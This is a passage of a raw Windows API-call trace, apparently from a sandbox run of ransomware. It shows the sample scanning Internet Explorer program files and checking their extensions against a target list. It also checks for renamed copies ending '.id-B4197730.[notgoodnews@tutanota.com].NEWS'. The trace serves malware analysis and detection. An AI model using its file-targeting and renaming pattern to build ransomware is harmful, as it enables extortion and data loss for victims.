5 [0194.100] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0194.100] lstrlenW (lpString=".ppt") returned 4 [0194.100] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.100] lstrlenW (lpString=".zip") returned 4 [0194.100] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.100] lstrlenW (lpString=".rar") returned 4 [0194.100] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.100] lstrlenW (lpString=".bz2") returned 4 [0194.100] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.100] lstrlenW (lpString=".7z") returned 3 [0194.100] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.100] lstrlenW (lpString=".dbf") returned 4 [0194.100] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.100] lstrlenW (lpString=".1cd") returned 4 [0194.100] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.100] lstrlenW (lpString=".jpg") returned 4 [0194.100] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.101] lstrlenW (lpString=".doc") returned 4 [0194.101] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.101] lstrlenW (lpString=".docx") returned 5 [0194.101] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1 [0194.101] lstrlenW (lpString=".pdf") returned 4 [0194.101] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.101] lstrlenW (lpString=".xls") returned 4 [0194.101] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.101] lstrlenW (lpString=".xlsx") returned 5 [0194.101] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1 [0194.101] lstrlenW (lpString=".ppt") returned 4 [0194.101] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.101] lstrlenW (lpString=".zip") returned 4 [0194.101] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.101] lstrlenW (lpString=".rar") returned 4 [0194.101] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.101] lstrlenW (lpString=".bz2") returned 4 [0194.101] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.101] lstrlenW (lpString=".7z") returned 3 [0194.101] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.101] lstrlenW (lpString=".dbf") returned 4 [0194.101] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.101] lstrlenW (lpString=".1cd") returned 4 [0194.101] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee.dll") returned 62 [0194.101] lstrlenW (lpString=".jpg") returned 4 [0194.101] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.101] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0194.101] lstrlenW (lpString="ieinstal.exe") returned 12 [0194.102] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.102] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=501760) returned 1 [0194.102] CloseHandle (hObject=0x34c) returned 1 [0194.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe")) returned 0x20 [0194.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.105] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.105] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.105] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.105] lstrlenW (lpString=".doc") returned 4 [0194.106] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.106] lstrlenW (lpString=".docx") returned 5 [0194.106] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0194.106] lstrlenW (lpString=".pdf") returned 4 [0194.106] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.106] lstrlenW (lpString=".xls") returned 4 [0194.106] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.106] lstrlenW (lpString=".xlsx") returned 5 [0194.106] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0194.106] lstrlenW (lpString=".ppt") returned 4 [0194.106] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.106] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.106] lstrlenW (lpString=".zip") returned 4 [0194.106] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.106] lstrlenW (lpString=".rar") returned 4 [0194.106] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.106] lstrlenW (lpString=".bz2") returned 4 [0194.106] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.106] lstrlenW (lpString=".7z") returned 3 [0194.106] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.106] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.106] lstrlenW (lpString=".dbf") returned 4 [0194.106] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.106] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.106] lstrlenW (lpString=".1cd") returned 4 [0194.106] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.106] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.106] lstrlenW (lpString=".jpg") returned 4 [0194.106] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.106] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.106] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.107] lstrlenW (lpString=".doc") returned 4 [0194.107] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.107] lstrlenW (lpString=".docx") returned 5 [0194.107] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0194.107] lstrlenW (lpString=".pdf") returned 4 [0194.107] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.107] lstrlenW (lpString=".xls") returned 4 [0194.107] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.107] lstrlenW (lpString=".xlsx") returned 5 [0194.107] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0194.107] lstrlenW (lpString=".ppt") returned 4 [0194.107] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.107] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.107] lstrlenW (lpString=".zip") returned 4 [0194.107] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.107] lstrlenW (lpString=".rar") returned 4 [0194.107] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.107] lstrlenW (lpString=".bz2") returned 4 [0194.107] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.107] lstrlenW (lpString=".7z") returned 3 [0194.107] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.107] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.107] lstrlenW (lpString=".dbf") returned 4 [0194.107] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.107] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.107] lstrlenW (lpString=".1cd") returned 4 [0194.107] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.107] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ieinstal.exe") returned 47 [0194.107] lstrlenW (lpString=".jpg") returned 4 [0194.107] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.108] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0194.108] lstrlenW (lpString="ielowutil.exe") returned 13 [0194.108] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.108] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=224256) returned 1 [0194.108] CloseHandle (hObject=0x34c) returned 1 [0194.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe")) returned 0x20 [0194.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.108] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.108] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.108] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.108] lstrlenW (lpString=".doc") returned 4 [0194.108] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.109] lstrlenW (lpString=".docx") returned 5 [0194.109] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0194.109] lstrlenW (lpString=".pdf") returned 4 [0194.109] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.109] lstrlenW (lpString=".xls") returned 4 [0194.109] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.109] lstrlenW (lpString=".xlsx") returned 5 [0194.109] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0194.109] lstrlenW (lpString=".ppt") returned 4 [0194.109] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.109] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.109] lstrlenW (lpString=".zip") returned 4 [0194.109] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.109] lstrlenW (lpString=".rar") returned 4 [0194.109] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.109] lstrlenW (lpString=".bz2") returned 4 [0194.109] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.109] lstrlenW (lpString=".7z") returned 3 [0194.109] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.109] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.109] lstrlenW (lpString=".dbf") returned 4 [0194.109] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.109] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.109] lstrlenW (lpString=".1cd") returned 4 [0194.109] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.109] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.109] lstrlenW (lpString=".jpg") returned 4 [0194.109] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.109] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.109] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.109] lstrlenW (lpString=".doc") returned 4 [0194.109] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.109] lstrlenW (lpString=".docx") returned 5 [0194.109] lstrcmpiW (lpString1=".docx", lpString2="l.exe") returned -1 [0194.109] lstrlenW (lpString=".pdf") returned 4 [0194.109] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.109] lstrlenW (lpString=".xls") returned 4 [0194.110] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.110] lstrlenW (lpString=".xlsx") returned 5 [0194.110] lstrcmpiW (lpString1=".xlsx", lpString2="l.exe") returned -1 [0194.110] lstrlenW (lpString=".ppt") returned 4 [0194.110] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.110] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.110] lstrlenW (lpString=".zip") returned 4 [0194.110] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.110] lstrlenW (lpString=".rar") returned 4 [0194.110] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.110] lstrlenW (lpString=".bz2") returned 4 [0194.110] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.110] lstrlenW (lpString=".7z") returned 3 [0194.110] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.110] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.110] lstrlenW (lpString=".dbf") returned 4 [0194.110] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.110] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.110] lstrlenW (lpString=".1cd") returned 4 [0194.110] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.110] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\ielowutil.exe") returned 48 [0194.110] lstrlenW (lpString=".jpg") returned 4 [0194.110] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.110] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0194.110] lstrlenW (lpString="IEShims.dll") returned 11 [0194.110] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.111] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=407552) returned 1 [0194.111] CloseHandle (hObject=0x34c) returned 1 [0194.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll")) returned 0x20 [0194.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\ieshims.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.111] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files\\internet explorer\\ieshims.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.111] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.111] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.111] lstrlenW (lpString=".doc") returned 4 [0194.111] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.111] lstrlenW (lpString=".docx") returned 5 [0194.111] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0194.111] lstrlenW (lpString=".pdf") returned 4 [0194.111] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.111] lstrlenW (lpString=".xls") returned 4 [0194.111] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.111] lstrlenW (lpString=".xlsx") returned 5 [0194.111] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0194.111] lstrlenW (lpString=".ppt") returned 4 [0194.111] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.111] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.111] lstrlenW (lpString=".zip") returned 4 [0194.111] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.111] lstrlenW (lpString=".rar") returned 4 [0194.112] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.112] lstrlenW (lpString=".bz2") returned 4 [0194.112] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.112] lstrlenW (lpString=".7z") returned 3 [0194.112] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.112] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.112] lstrlenW (lpString=".dbf") returned 4 [0194.112] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.112] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.112] lstrlenW (lpString=".1cd") returned 4 [0194.112] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.112] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.112] lstrlenW (lpString=".jpg") returned 4 [0194.112] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.112] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.112] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.112] lstrlenW (lpString=".doc") returned 4 [0194.112] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0194.112] lstrlenW (lpString=".docx") returned 5 [0194.112] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0194.112] lstrlenW (lpString=".pdf") returned 4 [0194.112] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0194.112] lstrlenW (lpString=".xls") returned 4 [0194.112] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0194.112] lstrlenW (lpString=".xlsx") returned 5 [0194.112] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0194.113] lstrlenW (lpString=".ppt") returned 4 [0194.113] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0194.113] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.113] lstrlenW (lpString=".zip") returned 4 [0194.113] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0194.113] lstrlenW (lpString=".rar") returned 4 [0194.113] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0194.113] lstrlenW (lpString=".bz2") returned 4 [0194.113] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0194.113] lstrlenW (lpString=".7z") returned 3 [0194.113] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0194.113] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.113] lstrlenW (lpString=".dbf") returned 4 [0194.113] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0194.113] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.113] lstrlenW (lpString=".1cd") returned 4 [0194.113] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0194.113] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\IEShims.dll") returned 46 [0194.113] lstrlenW (lpString=".jpg") returned 4 [0194.113] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0194.113] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0194.113] lstrlenW (lpString="iexplore.exe") returned 12 [0194.113] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.114] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=824128) returned 1 [0194.114] CloseHandle (hObject=0x34c) returned 1 [0194.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0194.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.114] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.114] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.114] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.114] lstrlenW (lpString=".doc") returned 4 [0194.114] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.114] lstrlenW (lpString=".docx") returned 5 [0194.114] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0194.114] lstrlenW (lpString=".pdf") returned 4 [0194.114] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.114] lstrlenW (lpString=".xls") returned 4 [0194.114] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.114] lstrlenW (lpString=".xlsx") returned 5 [0194.114] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0194.114] lstrlenW (lpString=".ppt") returned 4 [0194.114] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.114] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.114] lstrlenW (lpString=".zip") returned 4 [0194.114] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.114] lstrlenW (lpString=".rar") returned 4 [0194.115] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.115] lstrlenW (lpString=".bz2") returned 4 [0194.115] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.115] lstrlenW (lpString=".7z") returned 3 [0194.115] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.115] lstrlenW (lpString=".dbf") returned 4 [0194.115] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.115] lstrlenW (lpString=".1cd") returned 4 [0194.115] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.115] lstrlenW (lpString=".jpg") returned 4 [0194.115] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.115] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.115] lstrlenW (lpString=".doc") returned 4 [0194.115] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0194.115] lstrlenW (lpString=".docx") returned 5 [0194.115] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0194.115] lstrlenW (lpString=".pdf") returned 4 [0194.115] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0194.115] lstrlenW (lpString=".xls") returned 4 [0194.115] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0194.115] lstrlenW (lpString=".xlsx") returned 5 [0194.115] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0194.115] lstrlenW (lpString=".ppt") returned 4 [0194.115] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0194.115] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.115] lstrlenW (lpString=".zip") returned 4 [0194.115] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0194.115] lstrlenW (lpString=".rar") returned 4 [0194.115] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0194.115] lstrlenW (lpString=".bz2") returned 4 [0194.115] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0194.115] lstrlenW (lpString=".7z") returned 3 [0194.115] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0194.116] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.116] lstrlenW (lpString=".dbf") returned 4 [0194.116] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0194.116] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.116] lstrlenW (lpString=".1cd") returned 4 [0194.116] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0194.116] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\iexplore.exe") returned 47 [0194.116] lstrlenW (lpString=".jpg") returned 4 [0194.116] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0194.116] lstrcmpiW (lpString1=".ico", lpString2=".NEWS") returned -1 [0194.116] lstrlenW (lpString="bing.ico") returned 8 [0194.116] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0194.116] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=5430) returned 1 [0194.116] CloseHandle (hObject=0x34c) returned 1 [0194.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico")) returned 0x20 [0194.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.117] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\images\\bing.ico" (normalized: "c:\\program files\\internet explorer\\images\\bing.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.117] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.117] lstrlenW (lpString="C:\\Program Files\\Internet Explorer\\images\\bing.ico") returned 50 [0194.117] lstrlenW (lpString=".doc") returned 4 [0194.117] lstrcmpiW (lpString1=".doc", 